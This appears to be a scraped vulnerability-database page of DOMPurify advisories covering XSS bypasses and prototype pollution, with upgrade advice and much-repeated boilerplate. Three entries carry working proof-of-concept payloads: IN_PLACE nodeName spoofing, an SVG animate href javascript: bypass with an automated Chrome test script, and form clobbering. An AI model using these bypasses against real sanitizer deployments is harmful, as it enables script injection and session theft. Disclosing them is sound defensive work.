The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 2.5.9, 3.3.2 or higher.

References

• GitHub Commit

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the createDOMPurify() function, via comments embedded in XML textarea attributes containing scripts.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.2.7 or higher.

References

• GitHub Commit

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the IN_PLACE process when attacker-controlled live DOM nodes are sanitized. An attacker can execute arbitrary scripts in the context of the application by passing a manipulated DOM node with a spoofed nodeName property, causing malicious script elements to be retained and executed upon insertion into the document.

PoC

<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
  const foreign = window.open('about:blank', '_blank', 'noopener=no');

  const host = foreign.document.createElement('div');
  const script = foreign.document.createElement('script');
  script.textContent = 'window.__pwned = 1';
  Object.defineProperty(script, 'nodeName', {
    value: 'DIV',
    configurable: true,
  });
  host.appendChild(script);

  DOMPurify.sanitize(host, { IN_PLACE: true });

  console.log('output:', host.outerHTML);
  // <div><script>window.__pwned = 1</script></div>

  window.__pwned = 0;
  document.body.appendChild(host);
  console.log('handler fired:', window.__pwned === 1); // true
</script>
</body></html>

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.4.8 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the IN_PLACE function when handling a <template> element containing an element with an attached shadow DOM. An attacker can execute arbitrary scripts in the context of the user by injecting malicious content into the shadow DOM, which is not sanitized and is later executed when the template is cloned and inserted into the page.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.4.7 or higher.

References

• GitHub Advisory
• GitHub Commit
• Red Hat Bugzilla Bug

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the sanitize process. An attacker can execute arbitrary scripts in the context of the user’s browser by leveraging persistent function predicates supplied via ADD_ATTR or ADD_TAGS that are not cleared or overwritten across subsequent calls, allowing approval of attacker-controlled attributes or tags.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.4.0 or higher.

References

• GitHub Advisory
• vulncheck

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the IN_PLACE sanitization process when a hook removes an element, leaving its detached descendants with executable event handlers. An attacker can execute arbitrary JavaScript code in the application's origin by supplying crafted HTML that leverages this behavior. This is only exploitable if the application uses the IN_PLACE configuration along with a hook that removes a containing element.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.4.13 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR
• GitHub Release

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via insufficient sanitization in the HTML purification logic, allowing an attacker to inject and execute arbitrary JavaScript in a victim's browser by supplying malicious HTML input that bypasses DOMPurify's filtering.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.4.16 or higher.

References

• GitHub Commit
• GitHub PR
• Maintainer's Advisory

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the _sanitizeAttributes function when PARSER_MEDIA_TYPE is set to application/xhtml+xml. In XHTML mode, transformCaseFunc is the identity function rather than stringToLowerCase, so the guard that removes attributeName attributes whose value contains href compares the preserved-case name attributeName against the lowercase literal "attributename" and never matches. An attacker can supply SVG content containing an <animate> or <set> element with attributeName="href" and a SMIL values list ending in a javascript: URI, which bypasses link filtering and executes a script in the victim's browser when the parent link is clicked.

Note: This is only exploitable when PARSER_MEDIA_TYPE: 'application/xhtml+xml' is explicitly set and the allowlist includes animate (or set) together with attributeName.

PoC

Tested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x.

Config:

const cfg = {
  PARSER_MEDIA_TYPE: 'application/xhtml+xml',
  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};

{ PARSER_MEDIA_TYPE: 'application/xhtml+xml', USE_PROFILES: { svg: true }, ADD_TAGS: ['animate'], ADD_ATTR: ['attributeName'] } behaves the same.

Input:

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>

Steps:

1. Save this as poc.xhtml next to purify.js (3.4.16) and open it in Chrome. The .xhtml extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML.

<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>
<script src="purify.js"></script></head><body><div id="sink"></div>
<script>//<![CDATA[
const cfg = {
  PARSER_MEDIA_TYPE: 'application/xhtml+xml',
  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
const dirty = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>';
const clean = DOMPurify.sanitize(dirty, cfg);
console.log(clean);
document.getElementById('sink').innerHTML = clean;
//]]></script></body></html>

2. The logged output still contains attributeName="href" and values="x;javascript:alert(1)".
3. document.getElementById('q').href.animVal returns "javascript:alert(1)".
4. Click "click" and alert(1) runs.

As a control, remove PARSER_MEDIA_TYPE and change the allowlist entry to attributename. The output then loses attributeName, href.animVal is "", and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page.

An automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below.

#!/usr/bin/env bash
# PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode.
#
# Sanitizes an SVG payload with a PARSER_MEDIA_TYPE:"application/xhtml+xml"
# config that allow-lists <animate> + attributeName, renders the output into
# div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse
# event and reports whether alert() fired. Also runs the same allowlist in
# text/html mode as a control (DOMPurify strips attributeName there).
#
# usage:  ./poc.sh [dompurify-version]          (default 3.4.16, fetched via `npm pack`)
#         DOMPURIFY_JS=/path/to/purify.js ./poc.sh
#         CHROME=/path/to/chrome ./poc.sh
# needs:  node >= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary.
# exit:   0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error
set -euo pipefail
VER="${1:-3.4.16}"
WORK="$(mktemp -d)"
trap 'rm -rf "$WORK"' EXIT

if [ -z "${DOMPURIFY_JS:-}" ]; then
  (cd "$WORK" && npm pack "dompurify@$VER" --silent >/dev/null 2>&1 && tar xzf dompurify-*.tgz) || { echo "npm pack dompurify@$VER failed" >&2; exit 2; }
  DOMPURIFY_JS="$WORK/package/dist/purify.js"
fi
if [ -z "${CHROME:-}" ]; then
  for c in "$HOME"/.cache/ms-playwright/chromium_headless_shell-*/chrome-headless-shell-linux64/chrome-headless-shell \
           "$HOME"/.cache/ms-playwright/chromium-*/chrome-linux/chrome \
           "$(command -v google-chrome || true)" "$(command -v chromium || true)" "$(command -v chromium-browser || true)"; do
    [ -n "$c" ] && [ -x "$c" ] && CHROME="$c" && break
  done
fi
[ -n "${CHROME:-}" ] || { echo "no Chrome/Chromium found; set CHROME=" >&2; exit 2; }

cat > "$WORK/poc.html" <<'EOF'
<!doctype html><meta charset="utf-8"><title>poc</title>
<script src="purify.js"></script>
<div id="sink"></div>
<script>//<![CDATA[
const payload = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60">' +
  '<a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/>' +
  '<text x="10" y="40" font-size="30">click</text></a></svg>';
function run(mode) {
  const cfg = {
    ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
    ALLOWED_ATTR: [mode === 'xhtml' ? 'attributeName' : 'attributename', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
  };
  if (mode === 'xhtml') cfg.PARSER_MEDIA_TYPE = 'application/xhtml+xml';
  const clean = DOMPurify.sanitize(payload, cfg);
  document.getElementById('sink').innerHTML = clean;
  return clean;
}
//]]></script>
EOF
cp "$DOMPURIFY_JS" "$WORK/purify.js"
# Same test inside a real XHTML document (no HTML<->XHTML context flip):
# the page is parsed as application/xhtml+xml and the sink's innerHTML uses the XML fragment parser.
sed -e 's#<!doctype html><meta charset="utf-8"><title>poc</title>#<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>#' \
    -e 's#<script src="purify.js"></script>#<script src="purify.js"></script></head><body>#' \
    -e 's#^</script>$#</script></body></html>#' "$WORK/poc.html" > "$WORK/poc.xhtml"

cat > "$WORK/drive.js" <<'EOF'
// zero-dependency CDP driver over --remote-debugging-pipe
const { spawn } = require('child_process');
const [chrome, url, dir] = process.argv.slice(2);
const xurl = url.replace(/\.html$/, '.xhtml');
const p = spawn(chrome, ['--headless', '--no-sandbox', '--remote-debugging-pipe', '--disable-gpu', '--no-first-run',
  `--user-data-dir=${dir}/profile`, 'about:blank'], { stdio: ['ignore', 'ignore', 'ignore', 'pipe', 'pipe'] });
let id = 0, buf = ''; const pend = new Map(), dialogs = [];
p.stdio[4].on('data', (d) => {
  buf += d; let i;
  while ((i = buf.indexOf('\0')) >= 0) {
    const m = JSON.parse(buf.slice(0, i)); buf = buf.slice(i + 1);
    if (m.id && pend.has(m.id)) { pend.get(m.id)(m); pend.delete(m.id); }
    else if (m.method === 'Page.javascriptDialogOpening') {
      dialogs.push(m.params.message);
      send('Page.handleJavaScriptDialog', { accept: true }, m.sessionId);
    }
  }
});
function send(method, params = {}, sessionId) {
  return new Promise((r) => { const n = ++id; pend.set(n, r); p.stdio[3].write(JSON.stringify({ id: n, method, params, sessionId }) + '\0'); });
}
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
(async () => {
  const { result: { targetId } } = await send('Target.createTarget', { url: 'about:blank' });
  const { result: { sessionId: s } } = await send('Target.attachToTarget', { targetId, flatten: true });
  await send('Page.enable', {}, s); await send('Runtime.enable', {}, s);
  const ev = async (e) => (await send('Runtime.evaluate', { expression: e, returnByValue: true, awaitPromise: true }, s)).result.result.value;
  let vulnerable = false, xhtmlDoc = false;
  const ver = async () => ev('DOMPurify.version');
  for (const [mode, page] of [['html', url], ['xhtml', url], ['xhtml', xurl]]) {
    await send('Page.navigate', { url: page }, s); await sleep(500);
    const docType = await ev('document.contentType');
    if (mode === 'html') console.log('DOMPurify', await ver(), '/', await ev('navigator.userAgent.match(/Chrome\\/[\\d.]+/)[0]'));
    dialogs.length = 0;
    const clean = await ev(`run(${JSON.stringify(mode)})`);
    await sleep(400); // let the 0.01s animation apply (fill=freeze)
    const href = await ev(`(()=>{const a=document.getElementById('q');return a?a.href.animVal:null})()`);
    const box = await ev(`(()=>{const t=document.querySelector('#sink text');if(!t)return null;const r=t.getBoundingClientRect();return [r.x+r.width/2,r.y+r.height/2]})()`);
    if (box) for (const type of ['mouseMoved', 'mousePressed', 'mouseReleased'])
      await send('Input.dispatchMouseEvent', { type, x: box[0], y: box[1], button: 'left', clickCount: 1 }, s);
    await sleep(800);
    console.log(`\n[${mode} mode, sink document ${docType}] sanitized output:\n  ${clean}`);
    console.log(`  animated <a> href (animVal): ${JSON.stringify(href)}`);
    console.log(`  alert() fired on click: ${dialogs.length ? 'YES ' + JSON.stringify(dialogs) : 'no'}`);
    if (mode === 'xhtml' && dialogs.length) vulnerable = true;
    if (mode === 'xhtml' && docType === 'application/xhtml+xml') xhtmlDoc = dialogs.length > 0;
  }
  console.log(vulnerable ? `\nRESULT: VULNERABLE (javascript: executed in XHTML mode; pure-XHTML document sink: ${xhtmlDoc ? 'also executes' : 'no'})` : '\nRESULT: not vulnerable');
  p.kill('SIGKILL'); process.exit(vulnerable ? 0 : 1);
})().catch((e) => { console.error(e); p.kill('SIGKILL'); process.exit(2); });
EOF
node "$WORK/drive.js" "$CHROME" "file://$WORK/poc.html" "$WORK"

Note: Tested with DOMPurify 3.4.16 in Chrome 153 headless shell; also reproduced on 3.3.3, 3.3.1, and 3.2.7.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.4.17 or higher.

References

• GitHub Advisory
• Red Hat Bugzilla Bug

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Improper Initialization in the DOMPurify.setConfig() API when an uponSanitizeAttribute hook is registered that mutates allowedAttributes. An attacker can cause persistent modification of the attribute allowlist by submitting specially crafted content, resulting in unauthorized attributes being permitted in all subsequent sanitization calls.

Remediation

Upgrade dompurify to version 3.4.11 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Prototype Pollution in the IN_PLACE function when sanitizing a root element that is a <form> with event handler attributes and a descendant element whose name attribute matches certain property names checked by _isClobbered. An attacker can cause malicious attributes, such as event handlers or JavaScript URIs, to persist on the root element by crafting a DOM structure where the root is clobbered and then passing it to the sanitizer in IN_PLACE mode. This allows the attacker to execute arbitrary JavaScript or bypass attribute-level defenses when the sanitized node is reinserted into the live document.

Note:

This is only exploitable if the sanitizer is used in IN_PLACE mode on a detached root element that is an HTMLFormElement with a clobber-named child.

PoC

<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
  const root = document.createElement('form');
  root.setAttribute('onmouseover', 'window.__rooted = 1');
  const clobber = document.createElement('input');
  clobber.setAttribute('name', 'nodeName');
  root.appendChild(clobber);

  // typeof root.nodeName === 'object' (an <INPUT> element), not 'string'.
  // _isClobbered fires; _forceRemove(root) becomes a no-op because root.parentNode === null.
  DOMPurify.sanitize(root, { IN_PLACE: true });

  console.log('output:', root.outerHTML);
  // <form onmouseover="window.__rooted = 1"><input name="nodeName"></form>
  //  ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^

  document.body.appendChild(root);
  root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
  console.log('handler fired:', window.__rooted === 1);  // true
</script>
</body></html>

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

